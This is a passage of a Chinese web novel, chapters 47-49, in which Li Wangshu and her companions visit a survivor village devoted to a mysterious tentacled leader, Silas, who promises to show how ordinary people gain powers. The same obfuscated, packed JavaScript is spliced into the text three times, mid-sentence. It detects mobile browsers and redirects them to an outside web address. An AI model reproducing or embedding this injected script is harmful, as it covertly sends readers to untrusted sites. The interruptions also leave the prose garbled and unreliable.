“呵呵,没事。年轻人有活力是好事,让他说吧。”黎望舒笑着说,“我以前是做首饰生意的,对这方面的事情很感兴趣,如果可以的话,可以带我们去基地里看一看吗?” 杜蕊奇怪地看了黎望舒一眼,欲言又止。 “这……”王平有些犹豫。 “当然可以!”包小阳小鸡啄米似的点头,得意地冲王平呲牙笑,“塞大人说过,我们缺人手,不能赶走有可能成为同伴的人,你想犯规?” 王平不说话了。他无可奈何地瞪了包小阳一眼,又充满忧虑地扫了眼对面的黎望舒一行人,转身钻进了卡车车厢里。 “对了,得赶快取水。”包小阳一拍脑袋,也紧走两步,跳上了车厢,“等我们干完活就带你们回基地,很快就好!” 黎望舒笑着应了一声,转头使了个眼色,几人向后退了几步,脑袋围成一圈低声交谈。 “望舒,你怎么突然改主意了?”杜蕊忍不住问,“而且你什么时候做过首饰生意啊,我怎么不知道。” “那都是谎话。他们信也就算了,怎么连你也信。”黎望舒压低声音,“对不起,我擅自做决定了。但有件事我无论如何都想弄清楚,为此必须见一见那位‘塞大人’。” “是那个圆盘吗?”郁仪敏感地问,“你看到那东西的时候反应不太对。” “没错。”黎望舒点头,“圆盘上的图案看起来非常眼熟,我应该在哪里见过才对……但记忆里完全没有类似的东西。” “也没关系啦,其实我一开始就挺想去基地里看看的。”杜蕊美滋滋地说,“那个叫包小阳的人好热情啊,看起来不像坏人。” “不能以貌取人,坏人可是会伪装的。”连霏提醒。 “这年头,表现热情的人反而更可疑。”闻风藻看起来不太高兴,“表面乐乐呵呵的,心里不知道在打什么小算盘,他哪来的底气接纳我们?” “恐人症又犯啦?”杜蕊斜着眼睛看他。 “……要你多嘴。”闻风藻嘟哝,“我喜欢清净,不行吗?” “别吵了。你们两个怎么总掐架。”黎望舒无奈地说,“那就这么定了。就像小闻说的,警惕心不能丢,到了基地里不要接受任何东西,也不要吃喝,我尽快把事情弄清楚,尽快离开,明白了吗?” “明白!” “了解。” 几人异口同声地说。 …… 湖边,天刚蒙蒙亮,包小阳与王平装满了最后一桶水,气喘吁吁地合力抬着桶往卡车上挪。 “很沉吧,我帮你们抬上去。”黎望舒伸出触手,卷住了装满水的水桶,轻而易举地将它抬上了卡车。 “姐们,你力气好大啊!”包小阳惊叹,“这水桶死沉死沉的,就算是我们两个大男人合力搬,都得吭哧半天呢。” “就你这样的身板,还好意思自称‘大男人’啊。”王平冷笑一声。 “这样的世道,哪里还分什么男人女人。”黎望舒也不恼,观察着包小阳的反应,笑着问:“看到我的触手,你居然不觉得奇怪?” 包小阳一愣,开朗地摆摆手:“这有什么,塞大人身上也长触手,但他不是怪物,而是个顶顶好的大好人。他建立基地,从怪物口中保下了许多没有战斗能力的老人孩子,大家都很感激他。” “没错。”提起这位“塞大人”,就连黑着脸的王平也缓和了面色,连连称赞:“多亏了他,我们才能安安稳稳地活到现在。” “这位‘塞大人’究竟是什么样的人物,能讲给我听听吗?”黎望舒做出好奇的样子,“听起来很了不起,一想到马上就能见到这样的人物,我有点紧张。” “用不着紧张,塞大人很平易近人的。”包小阳乐呵呵的,丝毫没察觉到自己正被人套话,“不过见了面可千万别叫塞大人,叫他塞拉斯先生就行——他不喜欢被尊称,我们崇拜他,所以才私底下这样叫。” “塞拉斯……”黎望舒微微挑眉,“听起来不像本地人啊。” “看着也不像。”整理好水桶,包小阳利落地跳下卡车,边关车厢门边说:“金发碧眼高鼻深目,肯定是从外国来的。可惜塞大人不喜欢与我们闲谈,关于他,我知道的也不太多……行啦,收工!麻烦您通知几位,准备走咯。” 一行人重新上了车,跟在慢悠悠的卡车后头,缓缓朝目的地驶去。 他们身后,原本漫天飘散的萤火虫不约而同地闪了闪,随后一同坠向潮湿地面。转瞬间,湖边就失去了黄绿莹光的点缀,变回了一片黑暗。 “有什么发现吗?”黎望舒坐在副驾驶,偏头问。 在等待的功夫里,除了想方设法套话的黎望舒以外,其他几人也没闲着,都在用各自的方式查探情报。 “我一直盯着那两个人,但什么也没发现。”杜蕊率先汇报,“看起来很正常,没发现小动作。” “我问了附近的麻雀,从它们那里得到的情报和那两人所说的似乎没什么出入——每天都会有巨大的卡车载着两个人类来到这里,在水边忙活一会儿就会离开,也没发现他们杀死过其他人类。”连霏用词谨慎,“从麻雀那里只能得到这些,更细节的东西——比如人类的长相——它们无法准确描述。” “我也没什么发现。”闻风藻恹恹地说,“只知道那两个人的确是普通人,他们身上的能量波动看起来很普通。” 经过与彼岸的那一战后,闻风藻对精神力的运用精进了不少,现在不仅能创造出精神力护盾,还能通过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14931859|158285||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 观察人类的能量波动来判断这个人是否具备特殊能力。用他的话来说,精神力强的家伙——例如彼岸——他们身周的能量波动就像火焰一样熊熊蒸腾,耀眼又极具压迫感,而弱小之人的波动不仔细看根本辨别不出来。 黎望舒也让他一一看过了伙伴们的能量波动,得出结果如下:除他以外的几人之中,波动相对较强的只有连霏,郁仪与杜蕊都是普通人水平,奇怪的是黎望舒……从她身上看不见一丝能量波动,宛如一潭死水。 这也许代表着她这辈子都不可能得到超能力了。但无所谓,凭她现在的力量与对精神力的抗性,就算没有超能力,也能活得很好。 黎望舒漫不经心地想。 “你呢?”黎望舒看向郁仪,“怎么不说话。” “那片湖不太对劲。”郁仪面色凝重,“我去看过了,水里一只怪物也没有,这不正常。” “会不会是你搞错了?”杜蕊犹豫着问,“其实这附近的怪物并没有那么喜欢水,把卵产在别的地方了……之类的?” “不,我很确定,以大多数怪物的习性来说不该如此。”郁仪语气坚定,“我以前亲眼见识过,大海、小溪或是湖泊,或者只是雨后积起的一个小水洼,第二天再去看,里头都会多出许多奇形怪状的卵泡,更别说这么大的一片湖了。这附近一定有什么强大的东西让普通怪物不敢接近。” ……以前? 本以为郁仪的知识是从别的途径得来的,但听他的说法,仿佛自己曾经亲身经历一切似的。这就怪了,异变刚刚降临时郁仪就与她相遇了,他以前哪来那么多的经验? 黎望舒敏锐地察觉到了违和感。 她双眼微眯,深深地望了郁仪一眼,将怀疑压在心底,专注在眼前的讨论上:“的确,不知道从什么时候开始,附近就看不到怪物了,和虫母那时候的状况很相似,我还以为是我的触手起了作用。” “呜……听起来好吓人。”杜蕊打了个冷战,“那个强大的东西为什么不现身呢?难不成是在阴影里偷偷窥视,打算趁我们不注意的时候偷袭?” “在我们到来之前,每天都会有人来湖边取水,但从没有人出过事,麻雀也没提过有关强大怪物的情报。”连霏费解地说,“真奇怪。” 黎望舒立刻联想到了那个名叫塞拉斯的男人。 身上生着触手,待人温和却又从不多谈自己的事,力量强大到足以庇护一整个基地……包小阳将他描述得相当完美,但黎望舒向来不相信这世上存在完美的人。 是人就会有欲望,塞拉斯一定是想得到什么,才会主动庇护基地里的人,他的欲望也许是渴望权力、或是享受被众人簇拥瞻仰。 黎望舒甚至忍不住阴暗地揣测,也许他的真身是个手段比彼岸高明许多的怪物,圈养那么多人类只是为了可持续发展的食物来源…… 无论如何,见到了塞拉斯,她自然会得到答案——她向来只相信自己的双眼。 正这样想着,前方的大卡车突然停了下来,杜蕊猝不及防地猛踩刹车。 包小阳从驾驶座上跳下来,朝这边挥了挥手,高声招呼:“各位,下车吧,咱们到地方了!” 47. 第 47 章 “这是基地?” 踏在泥土路上,杜蕊左右扫了一眼,艰难地说:“看起来还挺……原始的嘛。” 黎望舒深有同感。 与其将这片区域叫做基地,不如说是个简陋的小村庄——他们站立的地方似乎是村口,泥土路左右敷衍地用铁丝和木棍拧出了几道不堪一击的栅栏,歪歪扭扭地插在路边,毫无实际应用价值,只能给人带来一点心理安慰。 沿着土路向前方望去,道路左右零零散散地落着几座土房子,黄土夯成的墙壁边上用塑料布拉出了几个棚子,勉强能遮风挡雨,几个皮肤黢黑的汉子就那样卷着被子睡在窝棚下,看起来好生凄凉。 “嗐,农村嘛,条件就这样。”包小阳丝毫不觉得有什么不妥,大大咧咧地一笑后,拉开了卡车厢门,开始搬运水桶,“大家都是这样过来的,也没什么怨言,能有吃有喝地活着就已经很满足了。” “呃……我不是这个意思。”杜蕊试图组织语言,但纠结了半天,还是放弃了,将求助的目光投向黎望舒。 “她的意思是,你们的防御工事做得太过薄弱了。”黎望舒平静地陈述,“这样的篱笆防不住任何怪物,他们怎么敢睡在房间外面,难道不怕夜里被怪物吃掉吗?” “哦,您说这个啊。”包小阳吃力地将水桶抬下车,堆放在窝棚边上,喘着气说:“一开始也怕,但提心吊胆地过了两夜后,什么也没发生。大家都觉得是塞大……塞拉斯先生的力量太强了,怪物们根本不敢接近这边,放心好了。” 黎望舒若有所思地点了点头。 这边爬上爬下的动静不小,旁边窝棚里的几个汉子被吵醒,毛毛虫似的,裹着被子坐了起来,打了两个哈欠后,才看见这边的几个生面孔。 “有客人啊。”其中一个汉子掀开被子,态度友好地打招呼,“别干站着,我去拿几条板凳过来。” “谢谢。”闻风藻接过长凳,脸上挂起了用来应对生人的温和假笑。杜蕊在旁边啧了一声,被他皮笑肉不笑地瞪了一眼。 “哎呦,真对不起,忘了招待各位了。我们这儿没什么好坐的凳子,只有这样的长条板凳,离塞拉斯先生的起床时间还有小半天呢,要不你们先在车里等一等?”包小阳不好意思地说,“王哥,你先搬着,我去找王婶,让她给客人做点热乎菜。” “你小子,又要把活推给老子!”王平瞪起眼睛,“识相的话就早点回来!” “不用麻烦了,我们不饿——”连霏挽留的话还没来得及说完,包小阳就一溜烟地钻进土房子里没了踪影,她忍不住叹了口气:“……怎么办啊,饭端过来了不吃好像不太礼貌。” “不用在乎那么多。”黎望舒淡定地说:“现在不是该讲礼貌的时候,不要被他们的热情裹挟。” “热乎菜啊……”杜蕊忍不住吸了吸口水,“想起学校边上那家小炒黄牛肉了。如果他们端上来的是一盘小炒肉,我真的会控制不住自己。” “绝对、一口也不能吃哦。”黎望舒再次强调。 “知道啦,我随口一说而已。”杜蕊说。 包小阳很快便回来继续搬水了,土房子里没人出来,烹饪过程似乎将会在房间内完成。眼看着房子顶上飘起了白烟,杜蕊的情绪肉眼可见地高涨了起来:“会是什么呢,哪怕只闻闻味道也满足了。” “你怎么一天到晚只想着吃。”闻风藻不咸不淡地嘲讽她。 “你懂什么,美食才是人生的精髓!”杜蕊炸毛。 这二人互相看不顺眼,掐架已成了家常便饭,连黎望舒都见惯了这幅光景,懒得上前劝架了。他们正吵着,几个汉子从土房子里搬出了一张小木桌,一个顶着半白卷发的大婶跟在后头,手里端着两盘热气腾腾的东西。 “客人们,远道而来饿了吧?来吃点热乎饭,暖暖肚子!”卷发大婶态度热络,笑呵呵地将盘子放在他们面前,“哎呀,还带着小狗呢,我再去给它拿一盘吧。” “不用,其实我们……”杜蕊期待地伸头看去,满面笑容顿时僵在了脸上,“……不饿。” 两个盘子里盛着的,都是细而卷曲、被炒得微微焦黑的深蓝触手。 “怎么了,不吃吗?马上要凉了。”卷发大婶在围裙上擦了擦手,似乎误解了他们的沉默,“这个是新鲜的,没烂,昨天刚抓回来的时候就做熟了,刚刚只是复炒一遍。” “你们平时就吃这个?”闻风藻强撑着笑容问,“这应该是怪物的触手吧,吃了不会有事吗?” “当然能吃,原来你们不知道啊,真是亏大了。”包小阳搬完了水,凑到桌边,见几人脸色不好看,连忙解释:“等等,你们该不会认为我们要害人吧,这东西真的能吃,不信的话,我吃给你们看。” 说着,他没拿筷子,用手指直接拎起一条触手扔进嘴里,还没来得及嚼,就被对面的卷发大婶狠狠地敲了下手背,“嗷——” “在客人面前用脏手碰食物,太没教养了。”卷发大婶面色阴沉地训斥他,转过头来的时候,脸上又堆起笑容,将另一盘触手往他们面前推了推:“来,你们吃这一盘。” “谢谢,但我们暂时还接受不了这种食物,好意心领了。”黎望舒切入正题,“请问那位塞拉斯先生在哪里?我只是想见他一面,很快就走。” “要见他,还得等一段时间。”卷发大婶指向道路尽头的一座红砖房子,看了眼天色,摇着头说:“他住在那个红砖房里,一般午后才会出来活动,那之前都闷在屋子里,不允许旁人随意打扰。” “好大的架子啊。”杜蕊小声嘀咕。 “姑娘,这样说可就不对了。”卷发大婶面色严肃,“塞拉斯先生保护着我们,是我们的大恩人,就算他把我们当成仆人使唤,那也是理所当然的。可他不仅没有这样做,反而将我们视作地位平等的人,一视同仁地对待,这是多么大的恩德,怎么能说他架子大呢。” “……对不起。”杜蕊不擅长 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14938418|158285||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 应对这样的说教,怂兮兮地将自己藏到黎望舒背后,用气音悄悄说:“怎么像邪.教似的。” 的确。黎望舒不露声色地思考。 包小阳、王平、卷发大婶……这三人性格各异,但都对塞拉斯表现出了不同程度的崇拜,将他视作救世主,甚至有种宗.教似的狂热感。按照这种趋势推断,恐怕整个村子的人精神状态都与他们三人差不多,但这明显不符合人性。 随着天色渐明,村子里的人都走出房门,开始活动,粗粗地扫过去,明面上大约能看到二三十人,说多不多,说少也不算少。 按理说这么些人里头,总该有一两个不服管教的反骨仔,可放眼望去,几乎每个人脸上都洋溢着幸福又灿烂的笑容,仿佛对未来充满希望似的,即便干着苦活累活,笑容也从未从脸上消失。 这不合常理。 黎望舒能想到的可能性有三个: 第一种,塞拉斯真的是个好人,真心为大家着想,不求回报,用自己无与伦比的人格魅力征服了所有人,将他们全部转化为了自己的信徒——但黎望舒向来不相信世上会有这种人存在。 第二种,塞拉斯是个醉心于权势、渴望掌控一切的野心家,村子里曾经出现过反骨仔,但都被他清理掉了,村民们的信仰都来自于他的暴力压迫——这个可能性也不大,村民们的精神状态很自然,不像装出来的。 第三种,也是黎望舒认为最接近真实情况的一种可能性,塞拉斯具有某种精神控制能力,将村民们洗脑并控制、甚至作为诱饵抛出,从而诱骗更多的过路人。但这样一来,他的目的就值得深究了——费了这么大的心思控制一村人,究竟是为了得到奴隶、还是为了村民们的血肉? 不会真应了她先前的阴暗揣测,这个塞拉斯其实又是个披着人皮的怪物吧…… 黎望舒有些头痛。 这些说白了都是她的揣测,真相还要等见了塞拉斯本人才能大白—— “……挑食可不好啊,这些触手和鱿鱼须味道差不多,很好吃的。我们吃了一个多星期,一点事也没有。”耳边,卷发大婶仍在絮絮叨叨,杜蕊嗯嗯啊啊地敷衍着,“说起来,还是多亏了塞拉斯先生告诉我们怪物能吃,我们才有了稳定的食物来源,不必挨饿。要不然,靠着我们储备的那一点点食物,早就饿得面黄肌瘦了……” 第一个吃怪物的原来是塞拉斯? 黎望舒愈发觉得这个人可疑。 正这样想着,大婶的絮叨声突兀地停了下来,仿佛感觉到了什么似的,突然转身看向身后那间红砖房——看见那扇门缓缓打开,她喜上眉梢,几步朝那边奔去,热情程度又攀升了几节:“塞拉斯先生,您今天怎么起得这么早?” “早上好,王女士。” 来人反手合上门,一头柔顺金发披在肩头,在晨曦之下甚至微微闪着光。他中文流利,语调中带着难言的矜贵优雅:“有尊贵的客人到访,当然要亲自接待才不失礼数。” 48. 第 48 章 紧盯着金发男人缓缓朝这边走来,黎望舒的太阳穴突突地跳动起来。 这个人身上同样有种极为熟悉的感觉,但她翻遍了记忆,也找不出自己究竟在何时见过他。 他穿着考究,看起来与身侧的乡村风景格格不入,长相和包小阳形容的一样,金发顺滑,眼窝深邃,湖绿色的瞳孔中含着笑意,五官如同被神明雕刻过似的,精致得令人见之不忘——这就更奇怪了,这样特别的人只要见过一面就绝不会忘记,她那点见鬼的熟悉感到底是从哪来的? “初次见面,美丽的小姐。”塞拉斯右手虚搭在胸口,朝她微微俯身行了一礼,“请容我介绍自己——我名叫塞拉斯,是这个基地的首领。” 这家伙虽然中文流利,但腔调透着股说不上来的古怪,咬字粘稠,尾音缠绵地微微上扬,让她生出了一拳锤过去的冲动——黎望舒压下吐槽的欲望,扯出假笑朝他伸出手:“你好,我是黎望舒。” 让她没想到的是,塞拉斯轻轻托起了她的手,却并没有握住,而是动作流畅地单膝跪了下去,低头用冰冷的唇瓣贴上了她的手背,“很高兴认识您。” 下一个瞬间,黎望舒面无表情地收紧五指,喀拉一声,捏碎了塞拉斯的指骨。 塞拉斯微微抽了口气。 “哎呀,塞拉斯先生!”旁边的王大婶不乐意了,瞪向黎望舒,语气凶狠:“小姑娘,亏我们好声好气地招待你,你这是什么意思?” 还没等黎望舒回应,塞拉斯就自己将手抽了回来,无事发生似的轻轻甩了两下,语气淡然:“王女士,先前应该强调过吧——我与客人说话的时候,其余人不允许插嘴。” 他面上还挂着得体的微笑,但湖绿双眸中没有一丝笑意,宛如寒潭似的,散发着冰冷的寒气——王大婶立刻听话地闭嘴,连连点着头,没再敢抬头多看一眼,飞速退回了土房子里面。 “抱歉,我不太适应这种礼节。”黎望舒敷衍地表达歉意。 “没关系,是我考虑不周,请原谅我的无礼。”塞拉斯表现得非常大度——他的手软软地垂在半空中,因骨裂而呈现出紫红发胀的状态;然而,随着他轻轻摇晃几下,皮肤表面的紫红迅速褪去,内里的骨头飞速生长,将软趴趴的血肉支撑起来,不一会儿就变回了最初修长匀称的样子。 如此恐怖的恢复能力,毫无疑问,塞拉斯也是拥有特殊能力的人。可他全身上下看起来都很正常,黎望舒实在看不出,他的触手到底生在什么地方。 “你对每个人都是这幅态度?”黎望舒忍不住问。 “怎么会呢,我只对您如此。”塞拉斯淡淡一笑,湖绿瞳孔一眨不眨地追随着她。眼看着她脸色又有转阴的趋势,他笑得更灿烂了,补充道:“第一眼见到您,我就有一种似曾相识的亲切感,仿佛曾经在梦中与您相会过,如果可以的话,不如随我去房间里坐下来聊一聊……” 黎望舒冷着脸盯着面前的金发男人,再也提不起一丝与他交谈的兴趣。 这家伙言行举止都挑不出毛病,但轻佻的态度令她心生厌烦。 “不必了。”黎望舒打断了塞拉斯,直接切入正题,“听说村民们佩戴的深蓝圆牌出自你之手,我想知道圆牌上双剑图案的由来。” 她下意识使用了带有命令意味的语气,塞拉斯也不恼,反而高兴地笑了起来。 “您说的是这个吗?”他将掌心向上的手摊在黎望舒面前,手中空无一物。黎望舒皱起眉头,刚要发问,就看见他掌心亮起蓝光,那道光芒缓缓凝聚,逐渐变成实体,最终化作了眼熟的深蓝圆牌。 黎望舒吃了一惊,连忙从他手中接过圆牌,仔细端详——毫无疑问,这道圆牌和她之前所见的那些一模一样,上面的双剑缠蛇纹样也刻得分毫不差。 塞拉斯创造圆牌的场景,让她想起了闻风藻凝结盾牌时的景象。不同的是,闻风藻凝结出的蓝色薄片只是一道虚影,她看得见,摸不着,但塞拉斯创造出的圆牌具有实体,沉甸甸地压在她手心里。 “你是怎么做到的?”反复翻看了几遍后,黎望舒忍不住问,“所有圆牌都是你用精神力凝结出的实体?” “精神力……我很惊讶,您居然知道这个词。”塞拉斯说,“没错,正如您所说的那样。每一道圆牌里都蕴含着我的气息,虽然一般人无法利用它放出攻击,但它足以为基地成员们驱赶周围的怪物。” “这是你的能力吗?或者说……只是因为你实力强大,所以能够化虚为实?”黎望舒追问。 “您也可以这样理解。”塞拉斯并没有正面回答,而是含糊地打起了太极,“怎么样,现在有兴趣和我聊一聊了吗?” 他想引诱她上钩,浅显的圈套,但十分有效——看过了他的手段后,黎望舒的确对他产生了几分兴趣。 黎望舒正犹豫着,右边的袖子突然被拽了两下,她疑惑地回头,看到了杜蕊盛满担忧的面庞——她悄悄指向旁边的郁仪,示意黎望舒向那边看。 不看不知道,一看吓一跳——郁仪面色铁青,死死地盯着塞拉斯的脸,攥紧的拳头微微发抖,连牙齿都咬得咯咯响。 “这是怎么了?”黎望舒压低声音,微微偏头问,杜蕊连忙摇头表示自己不知情。 察觉到了黎望舒的异常,塞拉斯顺着她的视线,这才注意到了她身边面色不善的郁仪。他抬了抬下巴,傲慢地将郁仪从上打量到下,而后才笑着对黎望舒说:“真遗憾,您这位朋友似乎不太喜欢我呢。” “好巧,其实我也不怎么喜欢你。”黎望舒面无表情地说。 “呵呵……您还是这么爱开玩笑。”塞拉斯的笑容没有一丝波动,似乎完全没把她的话放在心上。 “不好意思,我们要先商量一下。”眼看郁仪的手握上了剑柄,黎望舒抓住他的手臂,向他往车上拉去,“失陪了。” “好的。”塞拉斯平淡无波的声音从身后传来,“我有充足的时间等待您做出决定。” …… “怎么回事?” 黎望舒将人带回车上,关上车门隔绝了外面探究的视线,皱着眉问。 “那个金发的家伙,我以前见过。”提起塞拉斯,郁仪忍不住又握紧了剑柄,“他对你来说很危险,我们不能在这里停留了。” “但我对他的能力有些兴趣。”黎望舒说。 “不……求你了!”郁仪罕见地有些失控——他紧紧抓住了黎望舒的手臂, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14946354|158285||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手上力道极大,将她的手臂攥得微微发痛,向她投来祈求的目光,“你绝不可以与他打交道!” “我不会为了你放弃自己的目标。”黎望舒平静地注视着他,“除非你能给我一个足够说服我的理由。” 郁仪的呼吸变得急促。他低下头,额发随着动作垂下,遮住了双眼,似乎在挣扎着什么。 杜蕊缩着脖子躲在一边,大气也不敢出地旁观这场争吵,默默与连霏交换了几个窒息的眼神。 “我明白了。”深呼吸几下之后,郁仪重新抬起眼眸,下定决心,认真地凝视着她,“我会说出一切——我的来历、经历过的一切、厌恶那家伙的原因,我都会原原本本地说给你听,但作为交换,我们现在就得离开这里。” 黎望舒沉默下来,低头沉思,仿佛在权衡哪一方更具诱惑力,郁仪静静地等待着,时间在静默中仿佛被无限拉长了。 “好吧,你赢了。”良久,黎望舒叹了口气——比起那个不清不楚的双剑缠蛇纹样,她对郁仪的经历更感兴趣,“我会尽快离开。” “呼……太好了,其实我也不想在这里久留,这里的人态度太诡异了。”杜蕊松了口气,“那个塞拉斯看起来也很奇怪——望舒,你注意到没有,他的目光一直黏在你身上,物理意义上的没把我们几个放在眼里。我怀疑他甚至没看清楚我们的长相。” 黎望舒皱起眉头。 塞拉斯的态度很不寻常,结合那股熟悉感判断,他与自己之间一定有着未被发现的联系……就这么走了真是有些不甘心。 之后再找机会独自回来一趟好了。 怕她反悔似的,郁仪立刻扣上安全带,准备发动车子,黎望舒无奈地将他拦下:“等等,至少要回去讲清楚吧,总不能就这样不明不白地走了。” “我陪你一起去。”生怕这二人单独接触,郁仪立刻表态。 …… “……就是这样,我们要走了。” 塞拉斯遵守诺言,一直留在村口附近,不曾离开。重新站在他面前,黎望舒简单地叙述了自己不得不离开的缘由,“如果你还有话要说,这就是最后的机会了。你确定要对我隐瞒那个双剑缠蛇纹样的秘密?” “唔。”塞拉斯态度如常,面上并没有多少不甘,仍然对她的问题避而不答,反而将目光转向郁仪,态度带着几分探究:“我到底做过什么,才会让你如此厌恶?” 郁仪冷冷地望着他,毫不掩饰目光中的敌意。 “唉,看看你那充满敌意的目光,真是不像样。”不知为何,塞拉斯一边叹气一边摇头,“作为她的同伴,居然在陌生人面前露出这样的态度,你让她也跟着一同失态了。” “废话少说。”黎望舒不耐烦地打断了他,“我们真的要走了,再见。” 说罢,她拉着郁仪转身就走。 “得到能力的关键在于‘吞噬’。” 塞拉斯提高了声音——果不其然,听到这句话后,黎望舒猛地停下了脚步,回头向他投来惊愕的视线。 塞拉斯满意地笑了,单手背在身后,不紧不慢地接着说:“如果我说,我已经掌握了让普通人获得特殊能力的方法,您是否会改变主意呢?” 49. 第 49 章 红砖砌成的房间里,明媚阳光透过窗户洒入,几个人围着桌子坐成一圈,不时朝背光的阴暗墙角投去视线——郁仪自己搬了张板凳,面朝墙壁闷坐着,只留给众人一个倔强的背影。 “别生气了。”黎望舒无奈地说,“你也听到了,那可是获取能力的方法。” 郁仪垂着头不说话,看起来失落极了,良久才憋出一句:“但你明明答应过我,不会留在这里。” “别那么心急,拿到情报我们立刻离开。”黎望舒顿了顿,“先前的约定应该还算数吧。” “先违背约定的是你。”郁仪被自己硬邦邦的声音惊到,僵着脸犹豫了两秒,又不安地放轻了语气,底气不足地问:“……如果我说了,你会遵守诺言离开这里吗?” “可能会吧。”黎望舒含糊地说,“看情况。” 她总有种预感,塞拉斯不会轻易地将真正的方法告诉她。 “那我也一样。”郁仪又开始闹别扭,“看情况决定要不要告诉你。” 黎望舒心累地叹了口气。 ……约半小时前。 听了塞拉斯那句话后,黎望舒可耻地动摇了。 先前,她为了探明“吞噬”指的到底是什么,不惜背负着被同伴当成精神病的风险也要尝一尝彼岸的触手,此刻答案就在眼前,让她如何不心动。 虽然很对不起郁仪,但她无论如何也要看一看塞拉斯所谓的方法。 确定了他们将会留下之后,塞拉斯将他们领进了红砖房中。 与外头的简陋模样不同,房间内部被布置得颇具情调——房间内书架、梳妆台等等家具一应俱全,地面铺着柔软地毯,中央的小圆桌被精致的桌布覆盖,上头摆着一套看起来很昂贵的茶具;窗框上缀着浅蓝色丝制窗帘,美中不足的是,窗外的景色并不是美丽的海景,而是一片荒田。 “我们要等到什么时候啊。”杜蕊撑着脸,被温暖的阳光晒得昏昏欲睡。 “塞拉斯只说了需要准备,但没说需要多长时间。”黎望舒站起身来,“我去问一问好了。” “别去。”杜蕊有气无力地抓住了她的胳膊,“别说郁仪了,连我都不想放你去和那个塞拉斯单独接触……他给人的感觉很不好。” “你觉得我会输给他?”黎望舒挑眉,“我没在他身上感觉到威胁,毫无疑问,我比他更强,所以才敢带着你们留下。” “我指的不是强弱。”杜蕊艰难地组织语言,“他看你的眼神很奇怪,无论你在做什么,他的目光时时刻刻都粘在你身上,看得人心里毛毛的……和他打交道的时候要小心一点啊,我觉得他对你有不可告人的心思。” “又来了,你少女漫看太多了吧。”黎望舒没放在心上。 无视了杜蕊的抗议,沉吟片刻后,她压低声音,与同伴们分享了自己先前的三种猜想。 事实证明,个人的思维能力是局限的,情报需要及时共享,不仅能让同伴提高警惕,还能在讨论过程中得到意想不到的收获—— “我也认为第三种猜想可能性最大,塞拉斯应该有能力控制全村的人。”闻风藻摸了摸下巴,“而且,关于塞拉斯……之前没来得及说,和黎姐一样,我在他的身上并没有感受到任何精神力波动,但他又展示出了极为强悍的精神力。” “你的意思是……”黎望舒微微惊讶。 “我们需要对之前的猜想进行修正——就算感受不到波动,也不意味着精神力不存在,恰恰相反,这很可能意味着对方的能力大大超出了我的能力,所以才无法观测。”闻风藻将视线投向黎望舒,“黎姐,你的大脑中潜藏着巨大的潜力。” ……巨大的潜力? “很高兴能听到你这样说。”短暂的沉默过后,黎望舒面上没什么表情,“但我依然什么也感觉不到。” “呜……”妞妞直起身来,用头顶蹭了蹭她的手背。 “你在安慰我吗?谢谢。”黎望舒忍不住笑了,顺手揉了揉它毛茸茸的脑袋,“别误会,我并不觉得失落。精神力对我来说只是锦上添花,我不缺那一点力量。” “咚咚。” 几人正在讨论中,房门突然被轻轻敲响了,妞妞瞬间警觉起来,冲着房门“汪汪”叫了两声。 “请进。”黎望舒抬眸望去,推门进来的是塞拉斯——他似乎又打理了一番自己的形象,一头金发被束起,宽松地垂在颈侧,手中拎着一个精致的小茶壶,壶嘴冒着丝丝热气。 “希望我没有打扰到您。”刚一迈入房门中,他的视线又锁定在了黎望舒身上,轻轻朝她附身行礼,“每每见到您的面庞,我都发自内心地感到喜悦。” 郁仪面色一黑,搬着凳子坐回了黎望舒身边,警惕地盯着塞拉斯的一举一动。 “你的准备什么时候才能完成?”无视了他轻佻的言语,黎望舒问。 “今天的日落前,我将会为您展示普通人获得力量的全过程。”塞拉斯从圆桌上的茶具中拣出了一只小巧的茶杯,不紧不慢地往里面注满淡红茶液,又将茶杯端端正正地放在了她面前,做了个“请”的手势,“这是我亲手泡的红茶,期待您品尝后的感想。” 桌边坐着这么多人,他却独独只倒了这一杯茶——面前的红茶还冒着热气,茶叶清香扑鼻,黎望舒若有所思,指尖从杯沿划过,并没有将它端起来。 郁仪见状,立刻伸手将那杯茶推得远了些。 “看来它不合您的口味。”塞拉斯并没有表现出不悦,而是端起那杯茶,浅浅地放在唇边抿了一口,“我并没有在里面下毒,我愿用我的一切起誓,绝不会伤害您分毫。” 从开始到现在,塞拉斯都表现得彬彬有礼,一副教养良好的样子,哪怕被黎望舒捏碎了骨头,他也未曾露出过分毫怒气,甚至还凑上来低声下气地为她泡茶。但越是这样,黎望舒对他的忌惮就越深。 很难想象一个正常人居然能宽容成这样……捏碎他手骨的时候,她已经做好了和他打上一场的觉悟了。 